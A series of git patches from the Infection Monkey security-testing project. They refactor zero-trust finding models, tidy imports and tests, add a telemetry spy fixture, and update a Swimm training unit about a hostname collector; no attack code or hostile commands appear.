a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py index 1de81303c..479b9b244 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding.py @@ -1,3 +1,5 @@ +from __future__ import annotations + from mongoengine import LazyReferenceField from monkey_island.cc.models.zero_trust.finding import Finding @@ -5,4 +7,14 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyFinding(Finding): + # We put additional info into a lazy reference field, because this info should be only + # pulled when explicitly needed due to performance details = LazyReferenceField(MonkeyFindingDetails, required=True) + + @staticmethod + def save_finding(test: str, + status: str, + detail_ref: MonkeyFindingDetails) -> MonkeyFinding: + finding = MonkeyFinding(test=test, status=status, details=detail_ref) + finding.save() + return finding diff --git a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py index dd323a73c..9e36e46c5 100644 --- a/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/scoutsuite_finding.py @@ -1,3 +1,5 @@ +from __future__ import annotations + from mongoengine import LazyReferenceField from monkey_island.cc.models.zero_trust.finding import Finding @@ -5,4 +7,14 @@ from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutS class ScoutSuiteFinding(Finding): + # We put additional info into a lazy reference field, because this info should be only + # pulled when explicitly needed due to performance details = LazyReferenceField(ScoutSuiteFindingDetails, required=True) + + @staticmethod + def save_finding(test: str, + status: str, + detail_ref: ScoutSuiteFindingDetails) -> ScoutSuiteFinding: + finding = ScoutSuiteFinding(test=test, status=status, details=detail_ref) + finding.save() + return finding diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 72e9f7861..d8e439c71 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -19,7 +19,7 @@ class MonkeyZTFindingService: :raises: Assertion error if this is used when there's more then one finding which fits the query - this is not when this function should be used. """ - existing_findings = MonkeyFinding.objects(test=test, status=status) + existing_findings = list(MonkeyFinding.objects(test=test, status=status)) assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) if len(existing_findings) == 0: From 81ea0575099e8b4cf386712add3de61dc5b3e34b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 17 Feb 2021 16:58:26 +0200 Subject: [PATCH 260/466] Fixed a bug in MonkeyFindingDetails, where updating events using update was failing due to some internal mongoengine error. --- .../cc/models/zero_trust/monkey_finding_details.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py index bec29fb21..62cfda504 100644 --- a/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py +++ b/monkey/monkey_island/cc/models/zero_trust/monkey_finding_details.py @@ -14,5 +14,6 @@ class MonkeyFindingDetails(Document): # LOGIC def add_events(self, events: List[Event]) -> MonkeyFindingDetails: - self.update(push_all__events=events) + self.events.extend(events) + self.save() return self From a977ec4397751794152cad7879fcdd8184bcf30b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Feb 2021 10:13:23 +0200 Subject: [PATCH 261/466] Cleaned up imports and added no inspection comments to pass flake --- monkey/monkey_island/cc/conftest.py | 4 +++- monkey/monkey_island/cc/models/zero_trust/finding.py | 3 --- monkey/monkey_island/cc/resources/auth/auth.py | 3 ++- .../telemetry/zero_trust_checks/communicate_as_new_user.py | 6 +++--- .../zero_trust/scoutsuite/data_parsing/test_rule_parser.py | 1 + .../scoutsuite/test_scoutsuite_zt_finding_service.py | 1 - .../zero_trust/test_common/scoutsuite_finding_data.py | 2 -- .../zero_trust/zero_trust_report/test_finding_service.py | 3 --- monkey/monkey_island/cc/test_common/fixtures/__init__.py | 6 ++++-- .../monkey_island/cc/test_common/fixtures/fixture_enum.py | 2 -- 10 files changed, 13 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/monkey_island/cc/conftest.py index ad683d49e..0ed1533ab 100644 --- a/monkey/monkey_island/cc/conftest.py +++ b/monkey/monkey_island/cc/conftest.py @@ -1 +1,3 @@ -from monkey_island.cc.test_common.fixtures import * +# Without these imports pytests can't use fixtures, +# because they are not found +from monkey_island.cc.test_common.fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/models/zero_trust/finding.py b/monkey/monkey_island/cc/models/zero_trust/finding.py index 5c8223e49..f65d39af7 100644 --- a/monkey/monkey_island/cc/models/zero_trust/finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/finding.py @@ -8,9 +8,6 @@ from __future__ import annotations from mongoengine import Document, StringField import common.common_consts.zero_trust_consts as zero_trust_consts -# Dummy import for mongoengine. -# noinspection PyUnresolvedReferences -from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails class Finding(Document): diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 71611221c..b188955d8 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -46,7 +46,8 @@ class Authenticate(flask_restful.Resource): secret = credentials["password"] # If the user and password have been previously registered if self._authenticate(username, secret): - access_token = flask_jwt_extended.create_access_token(identity=user_store.UserStore.username_table[username].id) + access_token = flask_jwt_extended.create_access_token( + identity=user_store.UserStore.username_table[username].id) logger.debug(f"Created access token for user {username} that begins with {access_token[:4]}") return make_response({"access_token": access_token, "error": ""}, 200) else: diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py index 94412b3ba..2ef914786 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py @@ -12,9 +12,9 @@ def check_new_user_communication(current_monkey, success, message): MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, status=status, events=[ - get_attempt_event(current_monkey), - get_result_event(current_monkey, message, success) - ]) + get_attempt_event(current_monkey), + get_result_event(current_monkey, message, success) + ]) def get_attempt_event(current_monkey): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py index cd217882d..5a7572eb0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py @@ -11,6 +11,7 @@ from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import class ExampleRules(Enum): NON_EXSISTENT_RULE = 'bogus_rule' + ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All', diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index 00e9d1e32..549d3161e 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -1,6 +1,5 @@ import pytest -from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py index 4ce33a8f3..fb9722ca2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py +++ b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py @@ -73,5 +73,3 @@ def get_scoutsuite_details_dto() -> ScoutSuiteFindingDetails: scoutsuite_details.scoutsuite_rules.append(RULES[0]) scoutsuite_details.scoutsuite_rules.append(RULES[1]) return scoutsuite_details - - diff --git a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py index fdbe6df39..9d832e106 100644 --- a/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/zero_trust_report/test_finding_service.py @@ -45,6 +45,3 @@ def test_get_all_findings(): assert findings[0] == expected_finding0 assert findings[1] == expected_finding1 - - - diff --git a/monkey/monkey_island/cc/test_common/fixtures/__init__.py b/monkey/monkey_island/cc/test_common/fixtures/__init__.py index 1188586b1..fd208655a 100644 --- a/monkey/monkey_island/cc/test_common/fixtures/__init__.py +++ b/monkey/monkey_island/cc/test_common/fixtures/__init__.py @@ -1,2 +1,4 @@ -from .fixture_enum import FixtureEnum -from .mongomock_fixtures import * +# Without these imports pytests can't use fixtures, +# because they are not found +from .fixture_enum import FixtureEnum # noqa: F401 +from .mongomock_fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py index 00ab2905f..17c115079 100644 --- a/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py +++ b/monkey/monkey_island/cc/test_common/fixtures/fixture_enum.py @@ -1,4 +1,2 @@ - - class FixtureEnum: USES_DATABASE = 'uses_database' From 7960529ee91d6883d3b6a285909b4c0e8ffb1fc6 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 18 Feb 2021 19:41:29 +0530 Subject: [PATCH 262/466] Add conftest.py --- .../infection_monkey/telemetry/tests/conftest.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 monkey/infection_monkey/telemetry/tests/conftest.py diff --git a/monkey/infection_monkey/telemetry/tests/conftest.py b/monkey/infection_monkey/telemetry/tests/conftest.py new file mode 100644 index 000000000..dab650174 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/conftest.py @@ -0,0 +1,15 @@ +import pytest + +from infection_monkey.control import ControlClient + + +@pytest.fixture +def spy_send_telemetry(monkeypatch): + def _spy_send_telemetry(telem_category, data): + _spy_send_telemetry.telem_category = telem_category + _spy_send_telemetry.data = data + + _spy_send_telemetry.telem_category = None + _spy_send_telemetry.data = None + monkeypatch.setattr(ControlClient, 'send_telemetry', _spy_send_telemetry) + return _spy_send_telemetry From c2ed31bde89640d4c920d4f9d47c1331029b423f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 09:33:58 -0500 Subject: [PATCH 263/466] telemetry: test `send()` for telemetry classes in `telemetry/` --- .../tests/test_base_telem_classes.py | 73 +++++++------------ 1 file changed, 28 insertions(+), 45 deletions(-) diff --git a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py index 3d00175e0..1bc117b30 100644 --- a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py +++ b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py @@ -30,18 +30,15 @@ def exploit_telem_test_instance(): return ExploitTelem(EXPLOITER, RESULT) -def test_exploit_telem_category(exploit_telem_test_instance): - assert exploit_telem_test_instance.telem_category == 'exploit' - - -def test_exploit_telem_get_data(exploit_telem_test_instance): - actual_data = exploit_telem_test_instance.get_data() +def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): + exploit_telem_test_instance.send() expected_data = {'result': RESULT, 'machine': HOST.as_dict(), 'exploiter': EXPLOITER.__class__.__name__, 'info': EXPLOITER.exploit_info, 'attempts': EXPLOITER.exploit_attempts} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "exploit" @pytest.fixture @@ -55,14 +52,15 @@ def test_post_breach_telem_category(post_breach_telem_test_instance): assert post_breach_telem_test_instance.telem_category == 'post_breach' -def test_post_breach_telem_get_data(post_breach_telem_test_instance): - actual_data = post_breach_telem_test_instance.get_data() +def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): + post_breach_telem_test_instance.send() expected_data = {'command': PBA.command, 'result': RESULT, 'name': PBA.name, 'hostname': HOSTNAME, 'ip': IP} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "post_breach" @pytest.fixture @@ -70,15 +68,12 @@ def scan_telem_test_instance(): return ScanTelem(HOST) -def test_scan_telem_category(scan_telem_test_instance): - assert scan_telem_test_instance.telem_category == 'scan' - - -def test_scan_telem_get_data(scan_telem_test_instance): - actual_data = scan_telem_test_instance.get_data() +def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): + scan_telem_test_instance.send() expected_data = {'machine': HOST.as_dict(), 'service_count': len(HOST.services)} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "scan" @pytest.fixture @@ -86,15 +81,12 @@ def state_telem_test_instance(): return StateTelem(IS_DONE, VERSION) -def test_state_telem_category(state_telem_test_instance): - assert state_telem_test_instance.telem_category == 'state' - - -def test_state_telem_get_data(state_telem_test_instance): - actual_data = state_telem_test_instance.get_data() +def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): + state_telem_test_instance.send() expected_data = {'done': IS_DONE, 'version': VERSION} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "state" @pytest.fixture @@ -102,14 +94,11 @@ def system_info_telem_test_instance(): return SystemInfoTelem(SYSTEM_INFO) -def test_system_info_telem_category(system_info_telem_test_instance): - assert system_info_telem_test_instance.telem_category == 'system_info' - - -def test_system_info_telem_get_data(system_info_telem_test_instance): - actual_data = system_info_telem_test_instance.get_data() +def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): + system_info_telem_test_instance.send() expected_data = SYSTEM_INFO - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "system_info" @pytest.fixture @@ -117,14 +106,11 @@ def trace_telem_test_instance(): return TraceTelem(MSG) -def test_trace_telem_category(trace_telem_test_instance): - assert trace_telem_test_instance.telem_category == 'trace' - - -def test_trace_telem_get_data(trace_telem_test_instance): - actual_data = trace_telem_test_instance.get_data() +def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): + trace_telem_test_instance.send() expected_data = {'msg': MSG} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "trace" @pytest.fixture @@ -132,11 +118,8 @@ def tunnel_telem_test_instance(): return TunnelTelem() -def test_tunnel_telem_category(tunnel_telem_test_instance): - assert tunnel_telem_test_instance.telem_category == 'tunnel' - - -def test_tunnel_telem_get_data(tunnel_telem_test_instance): - actual_data = tunnel_telem_test_instance.get_data() +def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): + tunnel_telem_test_instance.send() expected_data = {'proxy': None} - assert actual_data == expected_data + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == "tunnel" From 0ac9ce949c8d9fce0fa91e285e135826c27fdca3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 18 Feb 2021 09:38:37 -0500 Subject: [PATCH 264/466] agent: reformat test_base_telem_classes.py with black --- .../tests/test_base_telem_classes.py | 52 ++++++++++--------- 1 file changed, 28 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py index 1bc117b30..bbff9641c 100644 --- a/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py +++ b/monkey/infection_monkey/telemetry/tests/test_base_telem_classes.py @@ -12,14 +12,14 @@ from infection_monkey.telemetry.trace_telem import TraceTelem from infection_monkey.telemetry.tunnel_telem import TunnelTelem -DOMAIN_NAME = 'domain-name' -HOSTNAME = 'hostname' -IP = '0.0.0.0' +DOMAIN_NAME = "domain-name" +HOSTNAME = "hostname" +IP = "0.0.0.0" IS_DONE = True -MSG = 'message' +MSG = "message" RESULT = False SYSTEM_INFO = {} -VERSION = 'version' +VERSION = "version" HOST = VictimHost(IP, DOMAIN_NAME) EXPLOITER = WmiExploiter(HOST) PBA = ScheduleJobs() @@ -32,33 +32,39 @@ def exploit_telem_test_instance(): def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): exploit_telem_test_instance.send() - expected_data = {'result': RESULT, - 'machine': HOST.as_dict(), - 'exploiter': EXPLOITER.__class__.__name__, - 'info': EXPLOITER.exploit_info, - 'attempts': EXPLOITER.exploit_attempts} + expected_data = { + "result": RESULT, + "machine": HOST.as_dict(), + "exploiter": EXPLOITER.__class__.__name__, + "info": EXPLOITER.exploit_info, + "attempts": EXPLOITER.exploit_attempts, + } assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "exploit" @pytest.fixture def post_breach_telem_test_instance(mocker): - mocker.patch('infection_monkey.telemetry.post_breach_telem.PostBreachTelem._get_hostname_and_ip', - return_value=(HOSTNAME, IP)) + mocker.patch( + "infection_monkey.telemetry.post_breach_telem.PostBreachTelem._get_hostname_and_ip", + return_value=(HOSTNAME, IP), + ) return PostBreachTelem(PBA, RESULT) def test_post_breach_telem_category(post_breach_telem_test_instance): - assert post_breach_telem_test_instance.telem_category == 'post_breach' + assert post_breach_telem_test_instance.telem_category == "post_breach" def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): post_breach_telem_test_instance.send() - expected_data = {'command': PBA.command, - 'result': RESULT, - 'name': PBA.name, - 'hostname': HOSTNAME, - 'ip': IP} + expected_data = { + "command": PBA.command, + "result": RESULT, + "name": PBA.name, + "hostname": HOSTNAME, + "ip": IP, + } assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "post_breach" @@ -70,8 +76,7 @@ def scan_telem_test_instance(): def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): scan_telem_test_instance.send() - expected_data = {'machine': HOST.as_dict(), - 'service_count': len(HOST.services)} + expected_data = {"machine": HOST.as_dict(), "service_count": len(HOST.services)} assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "scan" @@ -83,8 +88,7 @@ def state_telem_test_instance(): def test_state_telem_send(state_telem_test_instance, spy_send_telemetry): state_telem_test_instance.send() - expected_data = {'done': IS_DONE, - 'version': VERSION} + expected_data = {"done": IS_DONE, "version": VERSION} assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "state" @@ -108,7 +112,7 @@ def trace_telem_test_instance(): def test_trace_telem_send(trace_telem_test_instance, spy_send_telemetry): trace_telem_test_instance.send() - expected_data = {'msg': MSG} + expected_data = {"msg": MSG} assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "trace" @@ -120,6 +124,6 @@ def tunnel_telem_test_instance(): def test_tunnel_telem_send(tunnel_telem_test_instance, spy_send_telemetry): tunnel_telem_test_instance.send() - expected_data = {'proxy': None} + expected_data = {"proxy": None} assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "tunnel" From 6d31afacd0094cc2a0bceaf370fcb3a3d33cadce Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 18 Feb 2021 16:45:34 +0200 Subject: [PATCH 265/466] Swimm: update unit Add a new System Info Collector (id: OwcKMnALpn7tuBaJY1US). --- .swm/OwcKMnALpn7tuBaJY1US.swm | 422 ++++++++++++++++------------------ 1 file changed, 195 insertions(+), 227 deletions(-) diff --git a/.swm/OwcKMnALpn7tuBaJY1US.swm b/.swm/OwcKMnALpn7tuBaJY1US.swm index a243319d2..0640f1c37 100644 --- a/.swm/OwcKMnALpn7tuBaJY1US.swm +++ b/.swm/OwcKMnALpn7tuBaJY1US.swm @@ -1,232 +1,200 @@ { "id": "OwcKMnALpn7tuBaJY1US", "name": "Add a new System Info Collector", - "dod": "Add a system info collector that collects the machine hostname.", - "description": "# What are system info collectors?\n\nWell, the name pretty much explains it. They are Monkey classes which collect various information regarding the victim system, such as Environment, SSH Info, Process List, Netstat and more. \n\n## What should I add? \n\nA system info collector which collects the hostname of the system.\n\n## Test manually\n\nOnce you're done, make sure that your collector:\n* Appears in the Island configuration, and is enabled by default\n* The collector actually runs when executing a Monkey.\n* Results show up in the relevant places:\n * The infection map.\n * The security report.\n * The relevant MITRE techniques.\n\n**There are a lot of hints for this unit - don't be afraid to use them!**", - "summary": "System info collectors are useful to get more data for various things, such as ZT tests or MITRE techniques. Take a look at some other techniques!", - "hunksOrder": [ - "monkey/common/data/system_info_collectors_names.py_0", - "monkey/infection_monkey/system_info/collectors/hostname_collector.py_0", - "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py_0", - "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py_1", - "monkey/monkey_island/cc/services/config_schema/monkey.py_0", - "monkey/monkey_island/cc/services/config_schema/monkey.py_1", - "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py_0", - "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py_0", - "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py_1" - ], - "tests": [], - "hints": [ - "First thing you should do is take a look at a different collector (like EnvironmentCollector) and 100% understand how it runs, how results are relayed back to the server, and how the server processes the data.", - "Try to run \"socket.getfqdn()\".", - "Take a look at SystemInfoCollector - that's the base class you'll need to implement.", - "Make sure you add the new collector to the configuration in all relevant places, including making it ON by default!" - ], - "play_mode": "all", - "swimmPatch": { - "monkey/common/data/system_info_collectors_names.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/common/data/system_info_collectors_names.py b/monkey/common/data/system_info_collectors_names.py\nindex 175a054e..3b478dc9 100644\n--- a/monkey/common/data/system_info_collectors_names.py\n+++ b/monkey/common/data/system_info_collectors_names.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,5 +1,5 @@", - " AWS_COLLECTOR = \"AwsCollector\"", - "-HOSTNAME_COLLECTOR = \"HostnameCollector\"", - "+# SWIMMER: Collector name goes here.", - " ENVIRONMENT_COLLECTOR = \"EnvironmentCollector\"", - " PROCESS_LIST_COLLECTOR = \"ProcessListCollector\"", - " MIMIKATZ_COLLECTOR = \"MimikatzCollector\"" - ] - } - ] - }, - "monkey/infection_monkey/system_info/collectors/hostname_collector.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/infection_monkey/system_info/collectors/hostname_collector.py b/monkey/infection_monkey/system_info/collectors/hostname_collector.py\nindex ae956081..bdeb5033 100644\n--- a/monkey/infection_monkey/system_info/collectors/hostname_collector.py\n+++ b/monkey/infection_monkey/system_info/collectors/hostname_collector.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,16 +1,5 @@", - " import logging", - "-import socket", - "-", - "-from common.data.system_info_collectors_names import HOSTNAME_COLLECTOR", - "-from infection_monkey.system_info.system_info_collector import \\", - "- SystemInfoCollector", - " ", - " logger = logging.getLogger(__name__)", - " ", - "-", - "+# SWIMMER: The collector class goes here.", - "-class HostnameCollector(SystemInfoCollector):", - "- def __init__(self):", - "- super().__init__(name=HOSTNAME_COLLECTOR)", - "-", - "- def collect(self) -> dict:", - "- return {\"hostname\": socket.getfqdn()}" - ] - } - ] - }, - "monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py\nindex 174133f4..de961fbd 100644\n--- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py\n+++ b/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,7 +1,6 @@", - " from common.data.system_info_collectors_names import (AWS_COLLECTOR,", - " AZURE_CRED_COLLECTOR,", - " ENVIRONMENT_COLLECTOR,", - "- HOSTNAME_COLLECTOR,", - " MIMIKATZ_COLLECTOR,", - " PROCESS_LIST_COLLECTOR)", - " " - ] - }, - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -40,16 +39,7 @@", - " \"info\": \"If on AWS, collects more information about the AWS instance currently running on.\",", - " \"attack_techniques\": [\"T1082\"]", - " },", - "- {", - "+ # SWIMMER: Collector config goes here. Tip: Hostname collection relates to the T1082 and T1016 techniques.", - "- \"type\": \"string\",", - "- \"enum\": [", - "- HOSTNAME_COLLECTOR", - "- ],", - "- \"title\": \"Hostname collector\",", - "- \"safe\": True,", - "- \"info\": \"Collects machine's hostname.\",", - "- \"attack_techniques\": [\"T1082\", \"T1016\"]", - "- },", - " {", - " \"type\": \"string\",", - " \"enum\": [" - ] - } - ] - }, - "monkey/monkey_island/cc/services/config_schema/monkey.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py\nindex b47d6a15..1b1962a4 100644\n--- a/monkey/monkey_island/cc/services/config_schema/monkey.py\n+++ b/monkey/monkey_island/cc/services/config_schema/monkey.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,7 +1,6 @@", - " from common.data.system_info_collectors_names import (AWS_COLLECTOR,", - " AZURE_CRED_COLLECTOR,", - " ENVIRONMENT_COLLECTOR,", - "- HOSTNAME_COLLECTOR,", - " MIMIKATZ_COLLECTOR,", - " PROCESS_LIST_COLLECTOR)", - " " - ] - }, - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -88,7 +87,6 @@", - " \"default\": [", - " ENVIRONMENT_COLLECTOR,", - " AWS_COLLECTOR,", - "- HOSTNAME_COLLECTOR,", - " PROCESS_LIST_COLLECTOR,", - " MIMIKATZ_COLLECTOR,", - " AZURE_CRED_COLLECTOR" - ] - } - ] - }, - "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py\nindex e2de4519..04bc3556 100644\n--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py\n+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/hostname.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -1,9 +1,9 @@", - " import logging", - " ", - "-from monkey_island.cc.models.monkey import Monkey", - "+# SWIMMER: This will be useful :) monkey_island.cc.models.monkey.Monkey has the useful", - "+# \"get_single_monkey_by_guid\" and \"set_hostname\" methods.", - " ", - " logger = logging.getLogger(__name__)", - " ", - " ", - "-def process_hostname_telemetry(collector_results, monkey_guid):", - "+# SWIMMER: Processing function goes here.", - "- Monkey.get_single_monkey_by_guid(monkey_guid).set_hostname(collector_results[\"hostname\"])" - ] - } - ] - }, - "monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py": { - "diffType": "MODIFIED", - "fileDiffHeader": "diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py\nindex 639a392c..7aa6d3a6 100644\n--- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py\n+++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py", - "hunks": [ - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -3,14 +3,11 @@", - " ", - " from common.data.system_info_collectors_names import (AWS_COLLECTOR,", - " ENVIRONMENT_COLLECTOR,", - "- HOSTNAME_COLLECTOR,", - " PROCESS_LIST_COLLECTOR)", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.aws import \\", - " process_aws_telemetry", - " from monkey_island.cc.services.telemetry.processing.system_info_collectors.environment import \\", - " process_environment_telemetry", - "-from monkey_island.cc.services.telemetry.processing.system_info_collectors.hostname import \\", - "- process_hostname_telemetry", - " from monkey_island.cc.services.telemetry.zero_trust_tests.antivirus_existence import \\", - " test_antivirus_existence", - " " - ] - }, - { - "swimmHunkMetadata": { - "hunkComments": [] - }, - "hunkDiffLines": [ - "@@ -19,7 +16,6 @@", - " SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {", - " AWS_COLLECTOR: [process_aws_telemetry],", - " 